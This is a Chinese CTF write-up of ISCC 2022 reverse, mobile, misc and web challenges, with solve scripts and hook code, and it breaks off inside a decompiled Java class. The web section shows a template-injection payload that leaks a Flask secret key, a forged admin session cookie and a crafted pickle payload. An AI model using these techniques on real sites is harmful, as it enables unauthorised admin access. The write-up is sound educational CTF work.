通过sub_4A5A
变成v25
,v25
通过sub_4CE4
变成v24
,v24
和v20
比较来校验id
。
但是这俩变换函数看了下,一堆+32
、+80
的,然后ida
的类型检测还不对,搞不明白在干啥,那就先看下面加密flag主体的。
感觉像是在做substr(flag, '{', '}')
这种操作,又或者是判断格式?
算了倒着看吧,最后是sub_29C9
出的结果v24
和一个base64
串比较,进去看发现俩函数调用,第一个sub_27C6
函数处理上面传来的flag,存成v5
,然后调用sub_2569
加密。
看sub_27C6
,有6
有8
有abcdefg...
的64字节串,那不就是base64
嘛。
那就去看sub_2569
,先是调用sub_2447
去用flag和ISCCYES
生成v21
。
结合题目名字很容易看出来是在用ISCCYES
来重复填充生成长度和flag一样的维吉尼亚密钥。
然后下面遍历flag,每个字符符合字母数字空格
的都用sub_23D9
搞个数,然后相同位置的密钥那边也用sub_23D9
搞个数,加起来当下标在unk_10280
里取值,下标越界就模一下。不是字母数字空格
的直接抄回去。
那就再看看sub_23D9
函数,实际上就是在unk_10280
里面找目标字符的下标。
那么这时候就得找unk_10280
啥时候被初始化了,因为这个值默认是空的,xref
一下,在sub_343C
里面发现初始化为[a-zA-Z0-9 ]
。
那就写代码,看看维吉尼亚加密前的base64
串是啥。
result = bytearray(b"rJFsLqVyFKZek5gJCOWWA6MiprLmwlquH9mmCrv=")
key = b"ISCCYES"
base = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 "
for i in range(len(result)):
if base.find(result[i]) != -1:
result[i] = base[(base.index(result[i]) - base.index(key[i % len(key)]) + len(base) * 2) % len(base)]
print(result)
from base64 import b64decode
result = bytearray(b64decode(result))
print(result)
解出来还是没有flag的形状,那就接着看上面的sub_2914
函数。
主要就是在循环异或1234567
。
那接着改代码。
result = bytearray(b"rJFsLqVyFKZek5gJCOWWA6MiprLmwlquH9mmCrv=")
key = b"ISCCYES"
base = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 "
for i in range(len(result)):
if base.find(result[i]) != -1:
result[i] = base[(base.index(result[i]) - base.index(key[i % len(key)]) + len(base) * 2) % len(base)]
print(result)
from base64 import b64decode
result = bytearray(b64decode(result))
print(result)
key = [1,2,3,4,5,6,7]
for i in range(len(result)):
result[i] ^= key[i % len(key)]
print(result)
成功拿到感觉很像flag的东西,但是交上去不对。
突然想起来之前还有个id
这玩意,回头看一下,似乎是在末尾加上了id
,那就一个一个删,试过去就完事,在删除TIPO
后拿到flag。
ISCC{Reverse-iEvslhmM-UeNBeDtT}
Bob's Code
ida
打开,发现没啥混淆。
先去看sub_4116C7
函数,看着很像base64
那种3*8=4*6
的分割。
去看了下off_436000
常量,也确实是base64
的标准码表。
所以基本上可以确定是这个函数是在base64
编码了。
为了保险起见,用CFF
把动态基址给关咯,然后x96
调试走起来。
输入123456
,内存中数据变成MTIzNDU2
,成功确认是base64
编码。
然后来看下一个函数sub_411389
,看着也是base64
,但是码表有处理过。
原始码表也不一样。
码表的变换肉眼可见的是交换一部分大小写,所以实际上码表是ABCDEfghijklmnopqrsTUVWXYZabcdeFGHIJKLMNOPQRStuvwxyz0123456789-_
。
不过根据调试情况,最后编码出来的补位字符是.
而不是=
。
回头看代码发现端倪。
所以arg[3]!=0
的时候补位是.
。
再看sub_411023
函数,就是一小段变换操作。
实际上归纳一下就是在a4
处插入一个字符a3
然后返回。
比如说第一次调用是在第0
位插入.
,第二次调用是在第22
位插入.
。
动态调试结果也确实证实如此:
不过第二次的时候咱们的测试用例不够长了,那咱就换个长一点的1234567890123456789012
。
然后来看最后的sub_4116E0
函数,实际上就是把[a-zA-Z]
给a2
。
那么这个调用就是+2
。
调试证明确实如此。
所以直接cc
里面走一波逆向步骤就完事。
ISCC{QHSAkN0O-OAwE36Di-jCPtufcs}
Mobile
MobileA[一血]
直接jadx
打开。
可以明显看出来,主要就是Jformat
函数以及里面套的Jlast
函数,而根据Jformat
里面的分割条件,应该是把形如ISCC{abcd..._qwer...}
的flag分成两部分abcd..._
由Jformat
处理,qwer...
由Jlast
处理。
先看前半部分的处理代码,经典的AES/CBC/PKCS7Padding
加密,key
和iv
都确定了,所以可以直接用内置的c
解出m
,题中c
经过两次base64得到enRwWXBvbVVRbWxhWWlkK3Q5KzA1Zz09
,key
和iv
也有一次base64,所以直接工具一把梭。
再看后半部分的判断代码。
md5
之后进行了一次base64
,然后来了一轮映射,所以把映射规律反过来然后解一下base64
就能拿到md5
,再去在线查一下就能拿到明文。
import base64
a = b"=Lr8ZoM=wQU3OtSxJNg6fR5N"
b = bytearray(bytes(24))
z = False
i = 0
for i2 in range(5, -1, -1):
if not z:
for i3 in range(3, -1, -1):
b[i3 * 6 + i2] = a[i]
i += 1
z = True
else:
for i4 in range(0, 4):
b[i4 * 6 + i2] = a[i]
i += 1
z = False
print(base64.b64decode(b.decode()).hex())
# 7fa3b767c460b54a2be4d49030b349c7
经查明文是no
。
所以flag拼接一下就行。
ISCC{o9i87yvg$%TYHJ_no}
MobileB[一血]
直接jadx
打开。
可以看出主要的验证逻辑就是Jformat
里面调用的C原生函数stringFromJNI
,然后经过a.a
函数处理就得到了5240524052012052013402402401230240523051230
。
那就先看a.a
的逻辑。
是一个看着有点复杂的运算函数,算出每个字母(因为有>90
就-32
的处理)的对应值后在末尾补0
然后拼接。
因为懒得反向搞出运算函数了,所以直接上xp去hook把26个字母全跑一遍拿到映射关系就完事。
import com.highcapable.yukihookapi.YukiHookAPI
import com.highcapable.yukihookapi.annotation.xposed.InjectYukiHookWithXposed
import com.highcapable.yukihookapi.hook.factory.method
import com.highcapable.yukihookapi.hook.log.loggerI
import com.highcapable.yukihookapi.hook.xposed.proxy.YukiHookXposedInitProxy
@InjectYukiHookWithXposed
class Main : YukiHookXposedInitProxy {
override fun onHook() = YukiHookAPI.encase {
loadApp("com.example.mobileb") {
"$packageName.MainActivity".hook {
injectMember {
method {
name("onCreate")
}
afterHook {
findClass("$packageName.a").instance!!.method {
name("a")
}.get().run {
for (i in "a".."z") {
loggerI(tag = "WankkoRee", msg = "$i: " + call("$i") as String)
}
}
}
}
}
}
}
}
a: 50
b: 10
c: 510
d: 20
e: 520
f: 120
g: 5120
h: 30
i: 530
j: 130
k: 5130
l: 230
m: 5230
n: 1230
o: 51230
p: 40
q: 540
r: 140
s: 5140
t: 240
u: 5240
v: 1240
w: 51240
x: 340
y: 5340
z: 1340
所以5240524052012052013402402401230240523051230
对应的就是uuefezttntmo
。
那么再去so
层看看stringFromJNI
函数的逻辑。
可以看出主要就是myjni
函数,但是点进去直接懵了,300+行的代码,这还逆个鸡儿。
于是果断关掉ida
,继续去hook找规律了,也尝试先遍历26字母,但是没输出东西,一度怀疑是hook出问题了调用不到C原生函数。
把遍历目标改成大写试试,成功出来数据。
发现也是个映射函数。保险起见再多举几个例子看看,万一不是一一映射是递推映射就尴尬了。
测试了下,真的是递推映射...AB
的映射不是A
映射+B
映射。
不过也问题不大,确定了第一位就可以确定第二位,依此类推还是可以爆破的,写个hook脚本爆破。
import com.highcapable.yukihookapi.YukiHookAPI
import com.highcapable.yukihookapi.annotation.xposed.InjectYukiHookWithXposed
import com.highcapable.yukihookapi.hook.factory.method
import com.highcapable.yukihookapi.hook.log.loggerI
import com.highcapable.yukihookapi.hook.xposed.proxy.YukiHookXposedInitProxy
@InjectYukiHookWithXposed
class Main : YukiHookXposedInitProxy {
override fun onHook() = YukiHookAPI.encase {
loadApp("com.example.mobileb") {
"$packageName.MainActivity".hook {
injectMember {
method {
name("onCreate")
}
afterHook {
findClass("$packageName.a").instance!!.method {
name("a")
}.get().run {
for (i in "a".."z") {
loggerI(tag = "WankkoRee", msg = "$i: " + call("$i") as String)
}
}
//5240 u
//5240 u
//520 e
//120 f
//520 e
//1340 z
//240 t
//240 t
//1230 n
//240 t
//5230 m
//51230 o
method {
name("stringFromJNI")
}.get(instance).run {
val tgt = "UUEFEZTTNTMO"
var flag = ""
for (i in 0..11) {
for (j in "A".."Z") {
if (call("$flag$j") as String == tgt.substring(0, i+1)) {
flag += j
loggerI(tag = "WankkoRee", msg = flag)
break
}
}
}
}
//ISCC{FLAGISPURXVS}
}
}
}
}
}
}
成功拿下。
ISCC{FLAGISPURXVS}
MobileC
写这题的那段时间没什么空打比赛,结果放题了第二天抽空上去一看,这么简单才3个人解?第一个人还是放题了八个多小时才解的,那我岂不是痛失一血?
拿到题目一看,check的入口在a.a
。
去a.a
看下,逻辑也挺简单的,Myjni.GetKey
生成key
,固定的iv
,flag当内容去AES/CBC/PKCS5Padding
加密,然后结果base64
一波再调用Myjni.GetStr
,得到加密完成的flag。
那么实际上就是看Myjni.GetKey
和Myjni.GetStr
了,看类名都知道肯定是俩native
函数了,过去一看,果不其然。
但是用ida
打开so
一看,代码逻辑挺复杂的,横向比对了下,四个架构里面armeabi-v7a
的代码是最容易阅读的,但还是不想看,毕竟200+的行数摆在那。
于是又打算hook一波,先调用GetKey
看看是不是固定的key
,如果是根据某些情况变化的话那就麻烦了,虽然几乎不可能。
loadApp("com.example.mobilec") {
"$packageName.MainActivity".hook {
injectMember {
method {
name = "onCreate"
}
afterHook {
val Myjni = findClass("$packageName.MyJNI.Myjni").instance!!
val GetKey = Myjni.method {
name = "GetKey"
}.get()
val key = GetKey.call() as String
loggerI("WankkoRee", "key: $key")
}
}
}
}
连续打开几次发现key都是一样的,那就放心了。
那就去生成iv
,i@S&88CcC.
base一下就是aUBTJjg4Q2NDLg==
,然后写个加密的逻辑去随便编几个flag复现一下。
val iv = "aUBTJjg4Q2NDLg=="
val secretKeySpec = SecretKeySpec(key.toByteArray(), "AES")
val ivParameterSpec = IvParameterSpec(iv.toByteArray())
val cipher = Cipher.getInstance("AES/CBC/PKCS5Padding")
cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec)
"1784534567846876".also { flag ->
val base64 = Base64.encodeToString(cipher.doFinal(flag.toByteArray()), 2)
GetStr.call(base64, flag)
}
"2453763877893735".also { flag ->
val base64 = Base64.encodeToString(cipher.doFinal(flag.toByteArray()), 2)
GetStr.call(base64, flag)
}
"3954635787837853".also { flag ->
val base64 = Base64.encodeToString(cipher.doFinal(flag.toByteArray()), 2)
GetStr.call(base64, flag)
}
"4781254237865742".also { flag ->
val base64 = Base64.encodeToString(cipher.doFinal(flag.toByteArray()), 2)
GetStr.call(base64, flag)
}
"$packageName.MyJNI.Myjni".hook {
injectMember {
method {
name = "GetStr"
}
afterHook {
loggerI("WankkoRee", "GetStr("${ args[0] }", "${ args[1] }") = $result")
}
}
}
这规律感觉显而易见了...以2453763877893735
作为flag为例,这不就是栅栏编码吗?
然后再对比下其他几个数据,明文flag大概率是用来当下标顺序用的,具体算法不想了解了,因为已经看出来能爆破了。
再去看一下目标密文Mj39Ctj=Zh7VceP=Tx1S+kzUDCiwkhx=MFDprlM=J88V+e8=
的分组情况:
那么第三组的Tx1S+kzU
肯定在明文base里是第一组没跑了,毕竟6组里面就它的结尾不是=
,而base64里=
只能在结尾。
那就还剩下5轮的直接爆破呗。
val result = "Mj39Ctj=Zh7VceP=Tx1S+kzUDCiwkhx=MFDprlM=J88V+e8="
val a1 = 2
for (a2 in 0..5) {
if (a2 == a1) continue
for (a3 in 0..5) {
if (a3 == a1 || a3 == a2) continue
for (a4 in 0..5) {
if (a4 == a1 || a4 == a2 || a4 == a3) continue
for (a5 in 0..5) {
if (a5 == a1 || a5 == a2 || a5 == a3 || a5 == a4) continue
for (a6 in 0..5) {
if (a6 == a1 || a6 == a2 || a6 == a3 || a6 == a4 || a6 == a5) continue
var flag = ""
for (i in 0..7)
flag += "${ result[8*a1+i] }${ result[8*a2+i] }${ result[8*a3+i] }${ result[8*a4+i] }${ result[8*a5+i] }${ result[8*a6+i] }"
flag = flag.substringBeforeLast("====")
loggerI("WankkoRee", "r: $a1$a2$a3$a4$a5$a6, base64: $flag")
val flagB = Base64.decode(flag, 2)
try {
val cipher = Cipher.getInstance("AES/CBC/PKCS5Padding")
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec)
val f = cipher.doFinal(flagB)
loggerI("WankkoRee", "flag: ${String(f)}")
} catch (_: Exception) {}
}}}}}
成功拿下。
ISCC{native_351264_67554656788sada}
擂台题
Misc
666
拿到附件,半个压缩包带密码,猜测是为密码,直接密码标志位改00
解压。
得到另一个带密码的压缩包和一张图片。
图片是jpg
的,看了下文件没啥异常,所以猜测是常见的隐写里的steghide
,默认密码123456
走一波,确实出来了个high.png
文件。
./steghide extract -sf ./src_sec.jpg -p 123456
打开日常报错。
随便改改高度,发现!@#$%678()_+
,应该是压缩包密码,解压得到一个流量包。
流量包粗略看了下有几条是http
的,里面有一条url
和flag
字样,猜测是要去这个url
指向的页面找。
打开发现页面主体部分的gif
有一闪而过的字。
保存下来逐帧看看,找到SE1ERWtleTo4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==
、pQLKpP/
、EPmw301eZRzuYvQ==
。
第一段解base64
得到HMDEkey:852 987456321 98423 98423 REALkey:xSxx
,感觉像是小键盘连线,试了一下确实是,连出来ISCC
。
后两段用ISCC
当key
去解AES/ECB
加密,得到flag。
ISCC{lbwmeiyoukaig}
扫!
这题解压之后发现给了几万个文件夹,每个文件夹里大概有1~3
个文件,猜测应该是1个文件夹对应1个字节,那么1个字节能用1~3
个符号表示的话,感觉很像八进制,而二维码的mask
机制正好有8种,那就冲呗。
因为没找到能直接提取二维码所用的mask
类型,所以直接去QRazyBox
在线生成8个情况然后用cv2
去匹配得了。
先随便选一张二维码,把矢量放大一下,不然QRazyBox
导入的时候解析不了。
导入后选择了右上角的mask
区,因为待会写代码方便一点。发现二维码用的容错等级是L
,掩码类型是1
。
后续又导了几张发现容错等级一直是L
,而掩码类型一直在变,所以直接生成8个掩码类型的色块数据,然后写代码匹配就完事。
import os
import cv2
data = bytearray(31091)
for i in os.listdir("./challs"):
datas = ""
for j in os.listdir(f"./challs/{i}"):
name = f"./challs/{i}/{j}"
image = cv2.imread(name)
image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
top_right = [x // 255 for x in image[8][17:25]]
if top_right == [0, 0, 1, 1, 1, 0, 1, 1]:
mask = 0
elif top_right == [0, 0, 0, 0, 1, 1, 0, 0]:
mask = 1
elif top_right == [0, 1, 0, 1, 0, 1, 0, 1]:
mask = 2
elif top_right == [0, 1, 1, 0, 0, 0, 1, 0]:
mask = 3
elif top_right == [1, 1, 0, 1, 0, 0, 0, 0]:
mask = 4
elif top_right == [1, 1, 1, 0, 0, 1, 1, 1]:
mask = 5
elif top_right == [1, 0, 1, 1, 1, 1, 1, 0]:
mask = 6
elif top_right == [1, 0, 0, 0, 1, 0, 0, 1]:
mask = 7
else:
mask = None
print(top_right)
datas += str(mask)
print(i, datas)
data[int(i)] = int(datas, 8)
print(data)
发现数据应该是rar
压缩包。
写文件成功得到压缩包,里面个带密码的图片。
用WinRAR
直接空密码解压即可得到图片。
文件尾发现提示。
其中IN
的大写联想到一个小众隐写工具ImageIN
,拖进去发现真就是这玩意的隐写...
flag{S0_Many_qR}
弱雪
这题刚开始打算挨个文件解base64
,但是试了一下没啥结果,全是乱码。然后偶然排了下序发现文件的修改时间缺失了1秒左右,然后这一秒前后的文件数量又勉强还算对半,所以猜测可能是按时间去二进制,于是写代码。
import os
data = bytearray(1936)
for i in os.listdir("./Misc-2022.05.05"):
t = os.path.getmtime(f"./Misc-2022.05.05/{i}")
if t < 1651438000:
data[int(i[:-4])] = 0x30
else:
data[int(i[:-4])] = 0x31
print(bytes.fromhex(hex(int(data.decode(), 2))[2:]))
成功得到一个应该是7z
压缩包的数据。
尝试写文件成功拿到压缩包,里面是个文本。
打开发现一堆空白字符,结合题目名字弱雪
猜测应该是密码为弱口令的snow
隐写。
随便搁本地找个字典开始爆破。
import os
with open("D:/CTF/tools/web/最新网站后台密码破解字典.txt", 'r') as f:
for passwd in f:
try:
with os.popen(f'D:/CTF/tools/misc/snow -C -p "{passwd.strip()}" "D:/CTF/iscc2022/vs/MISC/弱雪/snow.txt"') as cmd:
rst = cmd.read()
if rst.find("ISCC") >= 0 or rst.find("iscc") >= 0 or rst.find("flag") >= 0:
print(rst)
except Exception as e:
...
flag{P6pbgN53q7l5D/ffTY2jH3uJVTQ7}
真扫yoo
拿到附件发现一堆条形码。
其中有个叫start.png
的,其解码后的数据指向了另一个文件名,不过末尾多了一字节,然后这个文件解码后的数据又指向了另一个文件名,但这回长度刚刚好。
那就写脚本按照指向扫一遍看看有啥规律。
import os
import cv2
import pyzbar.pyzbar as pyzbar
name = "start"
i = 1
while os.path.exists(f"chall/{name}.png"):
image = cv2.imread(f"chall/{name}.png")
gray = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
texts = pyzbar.decode(gray)
assert len(texts) == 1
name = texts[0].data.decode("utf-8")
print(i, name)
if len(name) == 8:
name = name[:-1]
elif len(name) == 7:
...
else:
raise Exception()
i += 1
看着有点规律,似乎文件名全带0
和1
,然后文件名长短要么7
字节要么8
字节,那就俩都提取看看呗。
import os
import numpy as np
import cv2
import pyzbar.pyzbar as pyzbar
data1 = ""
data2 = ""
name = "start"
i = 1
while os.path.exists(f"chall/{name}.png"):
image = cv2.imread(f"chall/{name}.png")
gray = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
texts = pyzbar.decode(gray)
assert len(texts) == 1
name = texts[0].data.decode("utf-8")
print(i, name)
if name.find("1") != -1:
data2 += "1"
print(i, 1)
elif name.find("0") != -1:
data2 += "0"
print(i, 0)
if len(name) == 8:
name = name[:-1]
data1 += "1"
elif len(name) == 7:
data1 += "0"
else:
raise Exception()
i += 1
print(data1)
print(data2)
data1 = bytes.fromhex(hex(int(data1, 2))[2:])
print(data1)
data2 = bytes.fromhex("0"+hex(int(data2, 2))[2:])
print(data2)
文件名长短出来的数据看不出东西,试试看调换一下01
定义看看。文件名包含出来的好多连贯的0000...
、1111...
,感觉是画图,而且是前625
的文件名都有包含那不就是25*25
的图嘛。
调换一下01
然后画一下另一组数据的黑白图看看。
import os
import numpy as np
import cv2
import pyzbar.pyzbar as pyzbar
data1 = ""
data2 = ""
name = "start"
i = 1
while os.path.exists(f"chall/{name}.png"):
image = cv2.imread(f"chall/{name}.png")
gray = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
texts = pyzbar.decode(gray)
assert len(texts) == 1
name = texts[0].data.decode("utf-8")
print(i, name)
if name.find("1") != -1:
data2 += "1"
print(i, 1)
elif name.find("0") != -1:
data2 += "0"
print(i, 0)
if len(name) == 8:
name = name[:-1]
data1 += "0"
elif len(name) == 7:
data1 += "1"
else:
raise Exception()
i += 1
print(data1)
print(data2)
data1 = bytes.fromhex(hex(int(data1, 2))[2:])
print(data1)
data2na = np.ones((25, 25), dtype="uint8")
for i in range(25):
for j in range(25):
data2na[i][j] = int(data2[i * 25 + j]) * 255
data2img = cv2.cvtColor(data2na, cv2.COLOR_GRAY2RGB)
cv2.imwrite("data2.png", data2img)
出来一个rar
一个二维码。
那就加一行保存rar
的代码,然后扫二维码发现扫不了,好像是黑白写反了还是没加边框,反正都改改。
import os
import numpy as np
import cv2
import pyzbar.pyzbar as pyzbar
data1 = ""
data2 = ""
name = "start"
i = 1
while os.path.exists(f"chall/{name}.png"):
image = cv2.imread(f"chall/{name}.png")
gray = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
texts = pyzbar.decode(gray)
assert len(texts) == 1
name = texts[0].data.decode("utf-8")
print(i, name)
if name.find("1") != -1:
data2 += "1"
print(i, 1)
elif name.find("0") != -1:
data2 += "0"
print(i, 0)
if len(name) == 8:
name = name[:-1]
data1 += "0"
elif len(name) == 7:
data1 += "1"
else:
raise Exception()
i += 1
print(data1)
print(data2)
data1 = bytes.fromhex(hex(int(data1, 2))[2:])
print(data1)
with open("rar.rar", 'wb') as f:
f.write(data1)
data2na = np.full((35, 35), 255, dtype="uint8")
for i in range(25):
for j in range(25):
data2na[i+5][j+5] = (1 - int(data2[i * 25 + j])) * 255
data2img = cv2.cvtColor(data2na, cv2.COLOR_GRAY2RGB)
cv2.imwrite("data2.png", data2img)
成功输出压缩包和二维码,二维码解码得到PaSsW0rdYouNeverkn0w
,用来当压缩包密码成功解压出flag。
ISCC{c0de39&c0de128awa}
Web
Melody
随便输入账号密码登录,发现确实有登录状态,看了下有个session
的cookie
,后端是Flask
,那很难不联想到session伪造
。
看下session
的存储数据,确实是默认的。
但是要伪造就得搞到密钥,那就模板注入呗。先找找有没有哪里能传参的,查看源码,发现/info
链接。
打开提示需要限定Melody
浏览器。
修改UA
后发现提示去/info/?Melody=
。
那就/info/?Melody={{config}}
冲一波,成功拿到密钥meldoy-is-so-cute-wawawa!
。
那现在就得想想该伪造成谁了,去登录一下发现用户名是admin
的时候不让登录,那就伪造admin
吧。
py -3 ./flask_session_cookie_manager3.py encode -s "meldoy-is-so-cute-wawawa!" -t "{'username':'admin'}"
得到新的session
:eyJ1c2VybmFtZSI6ImFkbWluIn0.YoundA.6dcwKzVcafUhOMJIeyjIFnLC8AQ
。
拿去改cookie
。
刷新发现假flag。
查看源码发现有个指向py
文件的链接。
# -*- coding:utf-8 -*-
import pickle
import melody
import base64
from flask import Flask, Response,request
class register:
def __init__(self,name,password):
self.name = name
self.password = password
def __eq__(self, other):
return type(other) is register and self.name == other.name and self.password == other.password
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module[0:8] == '__main__':
return getattr(sys.modules['__main__'],name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def find(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/therealflag', methods=['GET','POST'])
def realflag():
if request.method == 'POST':
try:
data = request.form.get('melody')
if b'R' in base64.b64decode(data):
return 'no reduce'
else:
result = find(base64.b64decode(data))
if type(result) is not register:
return 'The type is not correct!'
correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug")))
if correct:
if session['username'] == 'admin':
return Response(read('./flag.txt'))
else:
return Response("You're not admin!")
except Exception as e:
return Response(str(e))
test = register('admin', '123456')
data = base64.b64encode(pickle.dumps(test)).decode()
return Response(data)
看了下有个therealflag
路由,需要接受POST
请求,然后传入base64
形式的melody
,内容是register("melody", "hug")
类序列化结果。
那就写个脚本去序列化一下。
import base64
import pickle
class register:
def __init__(self,name,password):
self.name = name
self.password = password
def __eq__(self, other):
return type(other) is register and self.name == other.name and self.password == other.password
print(base64.b64encode(pickle.dumps(register("melody","hug"))))
得到gASVQgAAAAAAAACMCF9fbWFpbl9flIwIcmVnaXN0ZXKUk5QpgZR9lCiMBG5hbWWUjAZtZWxvZHmUjAhwYXNzd29yZJSMA2h1Z5R1Yi4=
,去传参,得到flag。
ISCC{2022_melody_secrets}
Reverse
Encode
直接ida
打开,发现主要就是用encode
函数带上key
加密,然后结果和answer
比对。
所以去看encode
函数就完事。
先是for
了一次进行3行异或,然后又for
了一次进行1行异或,最后for
一次进行字节减,然后将key
的几个值进行n=p*q
、phi=(p-1)*(q-1)
、d=invert(e, phi)
、c=pow(m, e, n)
的经典RSA
加密。
那就直接写脚本解就完事。
answer = bytearray(b'\x23\x4a\x07\x2b\x1d\x06\x3f\x36\x36\x2b\x05\x07\x06\x39\x02\x06\x38\x21\x4b\x1a\x2d\x2d\x39\x02')
key = bytearray([7, 0xb, 0xd, 0, 0, 0, 0, 0])
n = 0x18
key[3] = key[1] * key[0] # 0x4d
key[4] = (key[1]-1) * (key[0]-1) # 0x3c
key[5] = 0x25 # invert(key[2], key[4])
for i in range(n):
answer[i] = pow(answer[i], key[5], key[3])
for i in range(n):
answer[i] += 70
for i in range(n):
answer[i] ^= 0x3f
for i in range(n//2):
answer[i] ^= answer[n - i - 1]
answer[n - i - 1] ^= answer[i]
answer[i] ^= answer[n - i - 1]
for i in range(n):
answer[i] ^= 0xf
print(answer)
ISCC{PWN_IS_REALLY_HARD}
easyre
ida
打开,发现无法正常反编译,于是记一下函数入口点4011E0
,转战ghidra
。
大概看了下,就是用key
加密flag三次然后和目标常量比对。(变量名美化了,不然ghidra
没有关联高亮比较难顶)
先来看第一个加密函数,实际上就是那个循环有用,取三余作key的下标异或。
第二个函数也差不多,只不过key
下标来点偏移,然后异或变成了字节加。
第三个也是key
下标再加点偏移,然后运算方式又回到了异或。
所以写个脚本逆就完事。
answer = bytearray(b"^<L^<LX:LX.MJ.MJ9PJ9VF$VF$T@$T];")
key = b"enc!@#key"
for i in range(0x20):
answer[i] ^= key[i%3+6]
for i in range(0x20):
answer[i] -= key[i%3+3]
for i in range(0x20):
answer[i] ^= key[i%3]
print(answer.decode())
得到flag。
ISCC{qwqqwqwqqwereerereeroiooioiooipp}
Self-Reverse
先是尝试性运行了下,发现程序给的自己的代码应该是忽悠人的。
ida打开看看,发现就几个函数,里面都是一堆运算操作,猜测应该是类似upx
壳。
那就直接附加进程看看情况。先Ctrl+F7
几次,从系统调用堆栈出来,到主程序代码块。
往下找到开始判定的代码,看着感觉是调用了个len
函数?
输入ISCC{0123}
看下rax
寄存器会是啥。
确实是10
,那这里就是判断输入长度要是0x16
呗,那就重新编一个长度是0x16
的输入ISCC{0123456789abcdef}
继续调试,成功到达下一个判断点,看着应该是sub(0, 5)
一下输入然后equals
一下ISCC{
,那反正咱的输入已经满足要求了,就继续看。
有点复杂,直接上面开头p
一下然后F5
看伪代码得了,确实是在判断开头结尾,满足条件后进入if(v35)
。
开头先是把len(flag)
存在v36
里(-160
偏移是flag),然后sub(5,v36-6)
一下,取出中间部分,存到-320
偏移里,接着一个用-36
偏移当作i
的for(i=0;i<=15;i++)
循环,大概意思就是把(i + 1) % 16
移到i ^ 13
。然后一个用-40
偏移当作i
的for(i=0;i<=15;i++)
循环,大概意思就是把[i]
赋值为3 * [i] + 1
。
写个python
代码模拟一下逻辑看看,和调试结果比较一下。
flag = "0123456789abcdef"
a = bytearray(16)
for i in range(16):
a[i ^ 13] ^= ord(flag[(i + 1) % 16])
print(a)
for i in range(16):
a[i] = (3 * a[i] + 1) % 256
print(a.hex())
比对发现结果一样,那就接着看下面的逻辑,直接就开始判断加密结果了。
那就直接写逆向的代码呗,%256
那个操作爆破就行,然后剩下的换位反向换一下就完事。
target = [250, 12, 229, 250, 145, 157, 100, 166, 108, 250, 247, 145, 12, 12, 99, 142]
flag = bytearray(16)
for i in range(16):
for j in range(128):
if (3 * j + 1) % 256 == target[i ^ 13]:
flag[(i + 1) % 16] = j
print(f"ISCC{{{flag.decode()}}}")
ISCC{LYY/vSy0R407!YSS}
Mobile
Mobile Analysis
直接jadx
打开,check点肯定是judge
没跑了。
大概就是先base64
编码,然后[0:16]
用b.a
加密然后比对bGFtkaXNwjSVNDQ3
,[16:32]
和[32:]
用b.b
去校验。
先看b.a
,实际上就是定长3
分割,然后打散。
那么给密文分割一下就是bGF tka XNw j SVN DQ3
,其中第4段是原来的第6段,也就是最后一段,所以长度不固定。
那么按原位排回去就是SVNDQ3tkaXNwbGFj
,解base64
得到ISCC{displac
。
然后看b.b
函数,数据流有点怪,大致就是a
的值实际上就是c.a
的结果,所以可以直接得到。然后a
作为key
,qws871bz73msl9x8
作为iv
,对b
进行AES/CBC/PKCS5Padding
加密,最后结果base64
编码一下等于unj2Cn3dS9Ya1LDFPlA+eA==
。
那先去看看c.a
结果是啥。
算了还是直接hook
一下看结果吧,不想还原算法了。
loadApp("com.example.mobileanalysis") {
"$packageName.MainActivity".hook {
injectMember {
method {
name("onCreate")
}
afterHook {
findClass("$packageName.c").instance!!.method {
name("a")
}.get().run {
loggerI(tag = "WankkoRee", msg = call() as String)
}
}
}
}
}
所以a
是J0tpzHRuhTQpLauS
。
那么带入去解b
,得到otG28PYN8CtG
。
那么最后就是把a
和b
还原成flag了,那就去看a.a
和a.b
。
大概意思就是找到每一字节在码表的位置p
,然后映射成(5 * p + 8) % 64
。
但是这个映射是不太好直接逆向的,因为5*p+8
最大可能到323
,都%64
好几轮了,根据结果无法100%确定原始字符的位置p
。
那就爆破呗,找到每个字节%64
的时候商到底是几就完事。
dicta = "cdeEFGfghijkKLHIJNO9/PQYqrsMnoRSTablBCDtZ012UVWXpyzA345umvwx678="
a = "J0tpzHRuhTQpLauS"
for i in a:
n = 0
while (dicta.index(i) + 64 * n - 8) % 5 != 0:
n += 1
p = (dicta.index(i) + 64 * n - 8) // 5
print(dicta[p], end="")
print("")
dictb = "cdYqrsMneEFwxg78=GfKlLHRSTabBCDtZ012UhiQok6VWmXpjIJNO9/PyzA345uv"
b = "otG28PYN8CtG"
for i in b:
n = 0
while (dictb.index(i) + 64 * n - 8) % 5 != 0:
n += 1
p = (dictb.index(i) + 64 * n - 8) // 5
print(dictb[p], end="")
print("")
所以拼接得到flag后半段base64
的结果ZV9hbHRlcm5hdGl2ZV9tb2JpbGV9
,解得e_alternative_mobile}
,与前半段拼接得到flag。
ISCC{displace_alternative_mobile}
Easy Mobile
这题jadx
打开发现反编译结果不太理想,但是还是可以确定check点应该是tk.mcsog.iscc.a.a
。
但进去发现直接反编译失败了。
所以选择换反编译引擎。
其中Procyon
给出的结果如下:
//
// Decompiled by Procyon - 2815ms
//
package tk.mcsog.iscc;
import java.security.spec.AlgorithmParameterSpec;
import java.security.Key;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.NoSuchAlgorithmException;
import java.security.MessageDigest;
import java.util.Arrays;
import java.util.Base64;
import java.nio.charset.StandardCharsets;
import java.util.Objects;
public class a
{
public String a;
public w1.a b;
static {
System.loadLibrary("iscc");
}
public a() {
this.b = new w1.a();
}
private native boolean b(final String p0);
public final boolean a(String a) {
this.a = a;
final int length = a.length();
final boolean b = false;
